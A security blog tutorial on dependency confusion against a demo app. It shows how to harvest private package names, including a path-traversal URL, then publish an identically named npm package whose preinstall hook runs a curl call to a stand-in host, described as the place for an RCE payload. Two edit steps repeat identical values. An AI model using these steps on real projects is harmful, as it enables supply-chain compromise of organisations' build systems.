# Dependency Confusion

This blog is a step by step guide to exploit a demo application vulnerable to Dependency Confusion attack.

This blog is not about what dependency confusion is, you can read about that [here](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610).

### Introduction to demo app <a href="#introduction-to-demo-app" id="introduction-to-demo-app"></a>

\
Our demo application is a simple app with only Backend and Frontend. The Frontend allows users to input a string which is sent to backend and checked against XSS payload in it. Backend checks if string from frontend has XSS payload in it or not and relay response back to Frontend.

### Backend <a href="#introduction-to-demo-app" id="introduction-to-demo-app"></a>

Backend is running at <http://demo-app.com:1337>.

There is an API endpoint `http://demo-app.com:1337/?text=PAYLOAD` that checks for XSS payload in it.

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FgnnNkgnvx4yRcMnabXTt%2Fimage.png?alt=media&#x26;token=1b9dac04-f41c-4a17-ac9a-a7b68a8221b2" alt=""><figcaption></figcaption></figure>

### Frontend <a href="#introduction-to-demo-app" id="introduction-to-demo-app"></a>

Frontend is running at <http://demo-app.com:3000>

The Frontend takes a query parameter “text”. It then hits the backend API with that query parameter text, looks for XSS in that text, and displays the result backe on screen (see below)

\\

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FDR1aTGYXREJtK0fnxuuG%2Fimage.png?alt=media&#x26;token=3ebe0ac6-2338-4b1c-9fcc-69ab2e16ba39" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FUK7E8Rll5PfDAS0jjUhm%2Fimage.png?alt=media&#x26;token=7b15bc23-6a97-4117-a7b6-e43e39f6bce2" alt=""><figcaption></figcaption></figure>

### Overview Dependency Confusion <a href="#overview-dependency-confusion" id="overview-dependency-confusion"></a>

To Find if an application is vulnerable to Dependency confusion, our first step is to find as much as possible external packages used in the web application.

#### What are packages? <a href="#what-are-packages" id="what-are-packages"></a>

We can think of packages as `Developers sharing code with other developers for reuse`.

#### Public vs Private Registry <a href="#public-vs-private-registry" id="public-vs-private-registry"></a>

Suppose a developer develops a mongo database wrapper to enable MongoDB connection. If he wantes to avail this package to other developers, he can make a package and publish it to an `public` registry(central repository) and other developers can reuse it.

In case you do not want to share your package with everyone in the world and keep it secret to people in your organization you can host your packages on a `private` organization registry and only people in your organization can use it. For example. Let’s say you have a custom authentication process that you think everyone can use in your company. Making it public will not be a good idea. So you can always host a private registry and host your private packages there. You can read more [here](https://verdaccio.org/)

### Exploiting demo app <a href="#exploiting-demo-app" id="exploiting-demo-app"></a>

\
Our primary objective as an attacker is to find as many packages as possible used in Frontend/Backend and find the ones that are private to the organization. Once we know all private packages, we can host them on npm and the web application will download our package instead of the private package(that’s how this vulnerability works. It first looks at public registry and then private registry).

#### Step 1 <a href="#step-1" id="step-1"></a>

Find Packages installed in backend application. For this we will need to leak the **package.json** file somehow. Some ways to do it:

* Directory brute force for sensitive information leak
  * <http://site.com/.git> can leak full source
  * <http://site.com/package.json> try reading **package.json** directly
  * <http://site.com/package-lock.json> try reading **package-lock.json** directly. It also contains information about packages installed.
* Using Nuclei template. Nuclei has numerous template for sensitive information leak.

  * RUN `nuclei -t ./nuclei-templates/exposures/configs/package-json.yaml -u http://demo-app.com:1337`
  *

  ```
  <figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FsGutSytrUn3BVDdP68Td%2Fimage.png?alt=media&#x26;token=b84cf669-3994-4f09-a6ae-bb58fdedc571" alt=""><figcaption></figcaption></figure>
  ```
* Leaking application’ source code. If application is vulnerable to Local file disclosure, we can use it to leak **package.json**
  * <http://site.com/?file=../../../package.json>
* OSINT
  * If its an open source app, you can try finding the source code on GitHub and other places. If we get application’s source code, we can extract **package.json** from it

etc.. The Objective here is to use your hacker instinct to find the leak and get the information about packages installed.

Following the above steps, running dirsearch on our demo application backend(<http://demo-app:1337/>) show’s the following result:

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2Fl3KwX8Ji3LHBrjLgRnw1%2Fimage.png?alt=media&#x26;token=d365de7b-e2c0-4eb4-8279-37673932b8b2" alt=""><figcaption></figcaption></figure>

So we can see that **package.json** file is exposed. It lists the following packages installed.

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FfjhKMb2MJJHn608GLaaR%2Fimage.png?alt=media&#x26;token=80c7cae8-8e1b-489e-9696-f35e5a9b2db7" alt=""><figcaption></figcaption></figure>

#### Step 2 <a href="#step-2" id="step-2"></a>

Find packages installed in the Frontend application. Follow the following steps:

* Reviewing frontend source code and looking for imported packages. Look for the term `require()` or `import` in the source code

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FL0kCxSaX5lpkzxPm1hHs%2Fimage.png?alt=media&#x26;token=4f2af085-a0cf-4c1d-b8d0-b7acd7b00b0b" alt=""><figcaption></figcaption></figure>

* Frontend Application might be returning `node_modules` folders back to the user. Applications usually do that in debug mode

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FdUvuRHvHVxif2dUOzlxI%2Fimage.png?alt=media&#x26;token=bfcef256-6c0a-4399-98fa-e5c0196a82c2" alt=""><figcaption></figcaption></figure>

etc.. Again, the goal is to use your hacker instincts and find the packages.

#### Step 3 <a href="#step-3" id="step-3"></a>

List all the packages

* Frontend
  * react
  * ez-get-url-params \[looks suspecious]
  * react-dom
  * react-refresh
  * url …
* Backend
  * body-parser
  * express
  * xss-finder-0xsapra \[looks suspecious]

#### Step 4 <a href="#step-4" id="step-4"></a>

Now that we have a list of all the packages used in the application, the next step is to find which one of them is **NOT** on `npm`. We can simply do this by visiting <https://www.npmjs.com/> and search for the package name.

So 2 packages which I can’t find are:

* xss-finder-0xsapra

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2F8EA5NU7cwaeeXmqQxeJg%2Fimage.png?alt=media&#x26;token=0fdc064a-3d81-4916-bd28-74d0f443d549" alt=""><figcaption></figcaption></figure>

* ez-get-url-params

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FvqONLt2wDWQLSABvYdrF%2Fimage.png?alt=media&#x26;token=b0bf4e6b-0284-42e2-8f4f-49c8c78f1ed9" alt=""><figcaption></figcaption></figure>

Meaning these are private packages.

#### Step 5 <a href="#step-5" id="step-5"></a>

Upload the package with similar name `xss-finder-0xsapra` or `ez-get-url-params` on NPM(with preinstall scripts to get RCE). Here are steps to upload `xss-finder-0xsapra` and perform the attack chain

* git clone <https://github.com/0xsapra/dependency-confusion-expoit>
* cd dependency-confusion-expoit
* Edit `package.json` following fields
  * Change module name from `"name": "your-module-name",` to `"name": "xss-finder-0xsapra"`.
  * Change Version from `"version": "1.0.0",` to `"version": "1.0.0",`
    * Th leaked package.json shows `xss-finder-0xsapra` is at version `1.0.0` so we use that same version
  * Change preinstall script from `"preinstall": "curl http://yoursite.com"` to `"preinstall": "curl http://yoursite.com"`

    * preinstall is the bash command that gets executed. Put your RCE payload here After Editing, the `package.json` should look like:
    *

    ```
    <figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FSeEKGoj6miaBnMD6geey%2Fimage.png?alt=media&#x26;token=043585b7-beb3-4426-87d2-aedbbf31c69d" alt=""><figcaption></figcaption></figure>
    ```
* After editing package.json, next step is to upload this package to npm. To do this you can follow the steps from <https://zellwk.com/blog/publish-to-npm/> . Here’s the same steps:

  * Login/Signup into npm from <https://www.npmjs.com/signup>
  * Open terminal/bash and login into `npm` public registry from terminal using `npm login` command
  *

  ```
  <figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FuNKHVXNMG5UyfL6rX5uj%2Fimage.png?alt=media&#x26;token=7404a163-e980-4de9-8aa7-e8c3e9c4fe69" alt=""><figcaption></figcaption></figure>
  ```

  * Run `npm publish .` in terminal and it will publish `xss-finder-0xsapra` to npm
  *

  ```
  <figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2FpVdBaoRKxJmPQUIC9p3q%2Fimage.png?alt=media&#x26;token=8f2f59e9-9b9d-48da-a3a2-57d2eb18efb7" alt=""><figcaption></figcaption></figure>
  ```
* You can now find the package uploaded on [https://npmjs.com](https://www.npmjs.com/package/xss-finder-0xsapra)

#### Step 6 <a href="#step-6" id="step-6"></a>

Now whenever backend code will run `npm install` it will install our package instead and run the `preinstall` script (curl command in our case).

<figure><img src="https://2882665522-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgRw10ECFcaNoulE6yrxZ%2Fuploads%2F57pcYb0EWWDFzR8KClj6%2Fimage.png?alt=media&#x26;token=1c3ced5a-9021-4405-bc3f-0d2dec098f9f" alt=""><figcaption></figcaption></figure>

### Conslusion <a href="#conslusion" id="conslusion"></a>

\
Following the above 6 steps, you should be able to properly test an application against dependency confusion vulnerability.

Nuclei have a template [here](https://github.com/projectdiscovery/nuclei-templates/blob/83ce809e8d427d485f3e0f787886c0eb938736a6/exposures/configs/package-json.yaml) which you can use to find `package.json` file.

I hope this helps. Thanks for reading Special thanks to [madrobot](https://twitter.com/Madrobot_) for proof reading and helping me write this blog.
